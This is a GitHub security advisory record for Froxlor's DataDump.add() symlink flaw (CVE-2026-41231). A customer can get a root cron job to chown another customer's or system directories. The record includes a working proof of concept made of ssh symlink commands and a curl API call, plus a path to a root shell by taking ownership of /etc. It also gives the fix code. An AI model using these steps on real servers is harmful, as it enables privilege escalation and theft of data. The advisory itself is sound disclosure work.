{"id":"GHSA-75h4-c557-j89r","summary":"Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron","details":"## Summary\n\n`DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.\n\n## Details\n\nThe vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to `FileDir::makeCorrectDir()` via a `$fixed_homedir` parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of `lib/Froxlor/FileDir.php`).\n\nEvery customer-facing API command that builds a path from user input passes this parameter:\n\n```php\n// DirProtections.php:87\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// DirOptions.php:96\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// Ftps.php:178\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// SubDomains.php:585\nreturn FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n```\n\nBut `DataDump.add()` was missed:\n\n```php\n// DataDump.php:88 — NO $fixed_homedir parameter\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);\n```\n\nThe path flows unvalidated into a cron task (`lib/Froxlor/Api/Commands/DataDump.php:133`):\n\n```php\nCronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);\n```\n\nWhen `ExportCron::handle()` runs as root, it executes at `lib/Froxlor/Cron/System/ExportCron.php:232`:\n\n```php\nFileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));\n```\n\nThe `chown -R` command follows symlinks in its target argument. If `$data['destdir']` resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.\n\nThe `Validate::validate()` call on line 86 uses an empty pattern, which falls back to `/^[^\\r\\n\\t\\f\\0]*$/D` — this only strips control characters and does not prevent symlink names. `makeSecurePath()` strips shell metacharacters and `..` traversal but does not check for symlinks.\n\n## PoC\n\nPrerequisites:\n- `system.exportenabled` = 1 (admin setting)\n- Customer account with API key and FTP/SSH access\n\n```bash\n# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory\n# (customer has FTP/SSH access to their own docroot)\nssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'\n\n# Step 2: Schedule data export via API with path pointing to the symlink\ncurl -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"header\":{\"apikey\":\"CUSTOMER_API_KEY\",\"secret\":\"CUSTOMER_API_SECRET\"},\"body\":{\"command\":\"DataDump.add\",\"params\":{\"path\":\"steal\",\"dump_web\":\"1\"}}}' \\\n  https://panel.example.com/api.php\n\n# Expected response: 200 OK with task_data including destdir\n\n# Step 3: Wait for ExportCron to run (hourly cron as root)\n# The cron executes:\n#   mkdir -p '/var/customers/webs/attacker_customer/steal/'       (follows symlink, dir exists)\n#   tar cfz ... -C /var/customers/webs/attacker_customer/ .       (tars attacker's web data)\n#   chown -R \u003cattacker_uid\u003e:\u003cattacker_gid\u003e '/var/customers/webs/attacker_customer/steal/.tmp/'\n#   mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'\n#   chown -R \u003cattacker_uid\u003e:\u003cattacker_gid\u003e '/var/customers/webs/attacker_customer/steal/'\n#\n# The final chown resolves the symlink and recursively chowns\n# /var/customers/webs/victim_customer/ to the attacker's UID/GID.\n\n# Step 4: Attacker now owns all of victim's web files\nssh customer@server 'ls -la /var/customers/webs/victim_customer/'\n# All files now owned by attacker_customer UID\n\n# For system-level escalation, the symlink can target /etc:\n# ln -s /etc /var/customers/webs/attacker_customer/steal\n# After cron: attacker owns /etc/passwd, /etc/shadow → root shell\n```\n\n## Impact\n\n- **Horizontal privilege escalation:** A customer can take ownership of any other customer's web files, databases exports, and email data on the same server.\n- **Vertical privilege escalation:** By targeting system directories (e.g., `/etc`), the customer can gain read/write access to `/etc/passwd` and `/etc/shadow`, enabling creation of a root account or password modification.\n- **Data breach:** Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data.\n- **Service disruption:** Changing ownership of system directories can break system services.\n\nThe attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.\n\n## Recommended Fix\n\nPass `$customer['documentroot']` as the `$fixed_homedir` parameter in `DataDump.add()`, consistent with every other API command:\n\n```php\n// lib/Froxlor/Api/Commands/DataDump.php, line 88\n// Before (vulnerable):\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);\n\n// After (fixed):\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n```\n\nAdditionally, the `ExportCron` should use `chown -h` (no-dereference) or validate the destination path is not a symlink before executing `chown -R`:\n\n```php\n// lib/Froxlor/Cron/System/ExportCron.php, line 232\n// Add symlink check before chown\nif (is_link(rtrim($data['destdir'], '/'))) {\n    $cronlog-\u003elogAction(FroxlorLogger::CRON_ACTION, LOG_ERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']);\n} else {\n    FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));\n}\n```","aliases":["CVE-2026-41231"],"modified":"2026-05-05T16:11:40.516205Z","published":"2026-04-16T00:47:18Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-16T00:47:18Z","nvd_published_at":"2026-04-23T04:16:19Z","cwe_ids":["CWE-59"]},"references":[{"type":"WEB","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41231"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/commit/2987b0e8806ef12b532410050ad76d13d673a87d"},{"type":"PACKAGE","url":"https://github.com/froxlor/froxlor"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"}],"affected":[{"package":{"name":"froxlor/froxlor","ecosystem":"Packagist","purl":"pkg:composer/froxlor/froxlor"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.6"}]}],"versions":["0.10.0","0.10.0-rc1","0.10.0-rc2","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.17","0.10.18","0.10.19","0.10.2","0.10.20","0.10.21","0.10.22","0.10.23","0.10.23.1","0.10.24","0.10.25","0.10.26","0.10.27","0.10.28","0.10.29","0.10.29.1","0.10.3","0.10.30","0.10.31","0.10.32","0.10.33","0.10.34","0.10.34.1","0.10.35","0.10.35.1","0.10.36","0.10.37","0.10.38","0.10.38.1","0.10.38.2","0.10.38.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.0-beta1","2.1.0-beta2","2.1.0-rc1","2.1.0-rc2","2.1.0-rc3","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","2.2.0","2.2.0-rc1","2.2.0-rc2","2.2.0-rc3","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3.0","2.3.0-rc1","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-75h4-c557-j89r/GHSA-75h4-c557-j89r.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}